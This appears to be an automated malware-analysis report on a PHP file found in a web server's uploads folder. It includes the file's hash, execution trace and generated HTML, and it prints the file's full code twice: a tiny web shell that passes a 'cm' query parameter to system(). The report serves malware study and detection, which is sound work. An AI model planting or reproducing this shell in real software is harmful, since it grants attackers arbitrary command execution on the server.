PHP Malware Analysis

00000000ax.php

md5: c7a23af610db54244167f37ef85d5071

Jump to:

Screenshot


Attributes

Execution

Input


Deobfuscated PHP code

<?php

echo "<form method=\"get\"> <input type=\"text\" name=\"cm\"> <button type=\"submit\">Submit</button></form>";
if (isset($_GET['cm'])) {
    echo system($_GET['cm']);
}

Execution traces

data/traces/c7a23af610db54244167f37ef85d5071_trace-1676262506.548.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:28:52.445828]
1	0	1	0.000138	393528
1	3	0	0.000188	394352	{main}	1		/var/www/html/uploads/00000000ax.php	0	0
1	3	1	0.000206	394352
			0.000233	314240
TRACE END   [2023-02-13 02:28:52.445949]


Generated HTML code

<html><head></head><body><form method="get"> <input type="text" name="cm"> <button type="submit">Submit</button></form></body></html>

Original PHP code

<?php
echo '<form method="get"> <input type="text" name="cm"> <button type="submit">Submit</button></form>';

if (isset($_GET['cm'])) {
    echo system($_GET['cm']);
}